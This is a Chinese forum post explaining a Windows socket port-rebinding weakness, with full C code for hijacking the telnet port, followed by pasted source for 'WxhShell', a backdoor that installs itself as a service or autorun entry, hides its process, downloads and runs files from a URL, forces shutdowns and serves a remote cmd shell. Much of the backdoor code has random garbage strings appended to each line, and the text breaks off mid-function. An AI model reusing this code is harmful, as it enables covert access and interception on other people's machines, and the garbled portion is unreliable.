[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; O0Z!*Hy
if(chr[0]==0xd || chr[0]==0xa) { !4.VK-a9V%
pwd=0; ,> Ya%;h2k
break; 58[=.rzD
} KgD sqwy
i++; %C[#:>'+
} cn~/P|B[
u-s*3Lg&
// 如果是非法用户，关闭 socket _*l+ze[a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =EJ8J;y_f
} YCPU84f
WswM5RN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZVX1@p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b=L4A,w~a
HNUpgNi
while(1) { B~?R 6
t.rlC5 k
ZeroMemory(cmd,KEY_BUFF); "xI70c{
q1^bH6*fl
// 自动支持客户端 telnet标准 HfOaJ'+e<
j=0; ;W 3#q:
while(j<KEY_BUFF) { /wi*OZ7R
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2%?Kc]JY9
cmd[j]=chr[0]; "F[e~S#V*
if(chr[0]==0xa || chr[0]==0xd) { zQxTPd
cmd[j]=0; ~XeWN^l(Ov
break; Kj7 ?_o{
} ~0@uR
j++; !U7}?i&H
} <B Vx%
>6KwZr BB
// 下载文件 t5aX9WIW
if(strstr(cmd,"http://")) { ]."t
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H2S/!Q;K
if(DownloadFile(cmd,wsh)) Vl^p3f[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0Bz]Ux/Q
else )%JjV(:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ N@ !Q
} 'u#c_m!9
else { rDWwu'
**CGkL
switch(cmd[0]) { HGao}@'
lqcPV) n
// 帮助 (j(hr'f
case '?': { B)x^S >
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :sS4T&@1=
break; [Mk:Zz%
} !GJT-[
// 安装 jA? 7>"|
case 'i': { N^{}Qvrr
if(Install()) l h?[wc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^v&"{2
else 2c'<rkA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M_O)w^ '
break; L=@8Zi!2<
} -C2[ZP-
// 卸载 {wl7&25
case 'r': { Jz]OWb *
if(Uninstall()) X"V)oC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t~|`RMn"
else "H9q%S,FH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*sKr)9)
break; .:t&LC][
} t9.| i H
// 显示 wxhshell 所在路径 /&E]qc*-p
case 'p': { [4Q;5 'Dj
char svExeFile[MAX_PATH]; GF36G?iEi
strcpy(svExeFile,"\n\r"); iX6*OEl/Q
strcat(svExeFile,ExeFile); l15Z8hYhj
send(wsh,svExeFile,strlen(svExeFile),0); h^YUu`P
break; 5~OKKSUmT
} qN^]`M[ BY
// 重启 ?jsgBol
case 'b': { <r)5jf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )=!|^M
if(Boot(REBOOT)) sw50lId
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JH#p;7;
else { RJ-J/NhWyI
closesocket(wsh); %v0;1m
ExitThread(0); lSy_cItF
} Rl (+TE
break; {5 3#Xd
} zj$Ve
// 关机 i&-g
case 'd': { F5+!Gb En
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [xXV5 JU
if(Boot(SHUTDOWN)) \okvL2:!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2|c;1~5$
else { >ktekO:H
closesocket(wsh); H{uR+&<
ExitThread(0); P!!:p2fo
} !,~C
break; N.vkM`Z
} (\4YBaGd
// 获取shell uFG ;AY|
case 's': { XUK%O8N#9
CmdShell(wsh); Q) iN_|
closesocket(wsh); AQPzId*z
ExitThread(0); ~2UmX'
break; ig'4DmNC
} 0{u#{_
// 退出 RPkOtRKL=w
case 'x': { zc1~q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (`d_DQ
CloseIt(wsh); \r}*<CRr6
break; iJk/fvi
} XRn+6fn|
// 离开 <7oZV^nd *
case 'q': { |99Z& <8f
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yt;@@xe&
closesocket(wsh); ?e23[
WSACleanup(); ?Q6ZZQ~
exit(1); ;{rl Y>
break; "#`c\JuR]
} :w4I+*]
} !n5s/"'H
} }{e7wqS$&,
4?e7s.9N
// 提示信息 0"M0tA#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q8vRUlf
} 2@f E!
} ,6a }l;lv
+luW=j0V
return; Dz&<6#L<
} .e2K\o
LQP4#7
// shell模块句柄 PRF^<%mkI
int CmdShell(SOCKET sock) oNBYJ]t
{ qbdv
STARTUPINFO si; 3mM.#2=@>
ZeroMemory(&si,sizeof(si)); H>5@/0cL2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w~=@+U$f
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }g[(h=Qi
PROCESS_INFORMATION ProcessInfo; B\Y!5$
char cmdline[]="cmd"; }!g^}BWWp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xo*[ g`N
return 0; 79Vp^GG7
} kP}91kja
WD5ulm?91|
// 自身启动模式 O}_Z"y
int StartFromService(void) nxh9'"th
{ afa7'l=^i
typedef struct FqK2[]8
{ gT6@0ANq
DWORD ExitStatus; c/E6}OWA
DWORD PebBaseAddress; APR%ZpG
DWORD AffinityMask; D2}nJFR ]
DWORD BasePriority; 675x/0}GO
ULONG UniqueProcessId; A">A@`}
ULONG InheritedFromUniqueProcessId; qZ7/d,w
} PROCESS_BASIC_INFORMATION; i bwnK?ZA
jVpk) ;vC
PROCNTQSIP NtQueryInformationProcess; URD<KIN>
OVm $
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tfl4MDZb
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UN}jpu<h
<ctn_"p Z
HANDLE hProcess; VJeN m3WNb
PROCESS_BASIC_INFORMATION pbi; RT)*H>|
A@0%7xm
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @"#W\m8
if(NULL == hInst ) return 0; {^#62Y
\ oIVE+L/P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Y4;Xe=
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /IC7q?avQN
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &V&0kp@+
_KkLH\1g$
if (!NtQueryInformationProcess) return 0; dSb|hA}@
Kj_hCSvf3e
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "oYyeT ,?
if(!hProcess) return 0; e/m,PE
>]k'3|vV
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Dw`Ur^X5
%Y` @>P'
CloseHandle(hProcess); & ;+u.X
wNW9xmS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Z+~G
if(hProcess==NULL) return 0; _e=R[
]cnLJ^2
HMODULE hMod; z1ltc{~Z
char procName[255]; lV-7bZ
unsigned long cbNeeded; ":*PC[)W
m[C-/f^u|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~n84x
+xwz.:::
CloseHandle(hProcess); i=-zaboo
0!rU,74I=
if(strstr(procName,"services")) return 1; // 以服务启动 -tSWYp{
s,Cm}4L6
return 0; // 注册表启动 . oUaq|O
} Zg|z\VR
%,GY&hTw
// 主模块 ky#d`
int StartWxhshell(LPSTR lpCmdLine) a4X J0Tm
{ )kl| 5i
SOCKET wsl; Ay!=Yk^~
BOOL val=TRUE; x{C=rdp__
int port=0; j[yGfDb
struct sockaddr_in door; \@Gyl_6^
k'wF+>
if(wscfg.ws_autoins) Install(); 'z2}qJJ)
_tL*sA>[~)
port=atoi(lpCmdLine); -@G|i$!
_n2PoE:5@P
if(port<=0) port=wscfg.ws_port; gqJ&Q t#f
~-Rr[O=E
WSADATA data; *L/_ v
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MwL' H<
m~#S76!w
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cn=~}T@~Z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <FMW%4
door.sin_family = AF_INET; &TSt/b/+W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i)\`"&.j>N
door.sin_port = htons(port); Y*3qH]
\CB{Ut+s
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f!*b8ND^R
closesocket(wsl); ";9cYoKRY
return 1; \*!?\Ko`W
} LDW":k|
{.z2n>1J{T
if(listen(wsl,2) == INVALID_SOCKET) { C+,;hj
closesocket(wsl); )m"NO/sJ2
return 1; D*`|MzlQ
} [Ym?"YwVX
Wxhshell(wsl); >ALU}o/
WSACleanup(); oKz|hks[6
*(s+u~, I
return 0; ;Mc\>i/
U#+S9jWe
} HLAWx/c,j"
jio1#&
// 以NT服务方式启动 c&3 ]%urL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1a| q&L`o
{ u1ggLH!U
DWORD status = 0; U{RW=sYB~9
DWORD specificError = 0xfffffff; 4/S4bk*8
Q4TI '/
serviceStatus.dwServiceType = SERVICE_WIN32; yVUA7IY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,!|/|4vh
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AR]y p{NS
serviceStatus.dwWin32ExitCode = 0; 4s^5t6
serviceStatus.dwServiceSpecificExitCode = 0; z;GnQfYG
serviceStatus.dwCheckPoint = 0; S$+vRX7
serviceStatus.dwWaitHint = 0; nE+sbfC
<O?iJ=$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mgL~ $
if (hServiceStatusHandle==0) return; =ILs[p
?a7PxD.
status = GetLastError(); @~U: |h
if (status!=NO_ERROR) nyi}~sB
{ |zKe*H/
serviceStatus.dwCurrentState = SERVICE_STOPPED; A$WE:<^
serviceStatus.dwCheckPoint = 0; rm;'/l8Y-E
serviceStatus.dwWaitHint = 0; V2,54YE
serviceStatus.dwWin32ExitCode = status; L|qQZ=
serviceStatus.dwServiceSpecificExitCode = specificError; (8qMF{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nlx7"_R"Q
return; UQaLhKv:
} 'LpJ:Th
sk\U[#ohH
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q`4=
serviceStatus.dwCheckPoint = 0; VtUe$ft
serviceStatus.dwWaitHint = 0; ;RflzY|D
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ';hU&D;s
} f'0n^mSP
VJDF/)X3$
// 处理NT服务事件，比如：启动、停止 cNtGjLpx;
VOID WINAPI NTServiceHandler(DWORD fdwControl) C$vKRg\o
{ Sav]Kxq{
switch(fdwControl) -ZlBg~E
{ ]{{A/ j\
case SERVICE_CONTROL_STOP: y{,HpPp#o
serviceStatus.dwWin32ExitCode = 0; 7cr@;%#
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9JBPE
serviceStatus.dwCheckPoint = 0; 8;ke,x
serviceStatus.dwWaitHint = 0; dFS>uIT7X
{ /1F%w8Iqh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1"?KQU
} 'C8VD+p
return; {E-.W"t4
case SERVICE_CONTROL_PAUSE: 4*}[h9J}\
serviceStatus.dwCurrentState = SERVICE_PAUSED; E0'+]"B
break; NZdjS9
case SERVICE_CONTROL_CONTINUE: U&yXs'3a&
serviceStatus.dwCurrentState = SERVICE_RUNNING; =dx!R ,Bw
break; -=iGl5P?
case SERVICE_CONTROL_INTERROGATE: CnSfGsE>
break; j5,1`7\7B
}; ']Gqa$(YC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k{;"Aj:iL
} bXF>{%(}E
+~?ze,Di
// 标准应用程序主函数 FRd!UqMXY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !O6e,l
{ P?p>'avP
Qz\yoI8JA,
// 获取操作系统版本 9]fhH
OsIsNt=GetOsVer(); +%Q:
GetModuleFileName(NULL,ExeFile,MAX_PATH); R''nZ/R
&E0L7?l
// 从命令行安装 d9>*a$x;/
if(strpbrk(lpCmdLine,"iI")) Install(); 3:@2gp!tq
to,DN2rN
// 下载执行文件 w`=_|4wFw
if(wscfg.ws_downexe) { PtCO';9[
